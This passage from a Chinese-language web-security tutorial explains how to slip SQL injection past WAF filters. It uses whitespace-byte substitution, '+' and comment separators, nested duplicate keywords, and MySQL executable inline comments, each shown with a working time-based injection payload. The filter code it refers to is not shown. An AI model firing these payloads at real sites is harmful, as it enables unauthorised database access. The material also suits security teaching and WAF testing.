3. 空格过滤绕过
增加了过滤规则的代码:
部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。
a) 使用空白符替换空格绕过
数据库类型 允许的空白符SQLite3 0A,0D,0C,09,20
MySQL5 09,0A,0B,0C,0D,A0,20
PosgresSQL 0A,0D,0C,09,20
Oracle 11g 00,0A,0D,0C,09,20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
正常payload:
?id=1'and sleep(3) and '1'='1
空格被过滤,注入语句未成功插入。
绕过payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1
注入语句成功写入
b) 使用‘+’替换空格绕过
绕过payload:
?id=1'+and+sleep(3)+and+'1'='1
注入语句成功写入
c) 使用注释符/**/替换空格绕过
绕过payload:
?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1
注入语句成功写入
4. 双关键字绕过部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。
增加了过滤规则的代码:
正常payload:
?id=1and SLeeP(3) and 1=1
由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。
绕过payload:
?id=1+and+SLesleepeP(3)+and+1=1
WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。
5. 内联注释绕过在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了惊叹号(/*!50001sleep(3)*/),那么此注释里的语句将被执行。
增加了过滤规则的代码:
正常payload:
?id=1+and+sleep(3)+and+1=2
绕过payload:
?id=1+and+/*!50001sleep(3)*/+and+1=1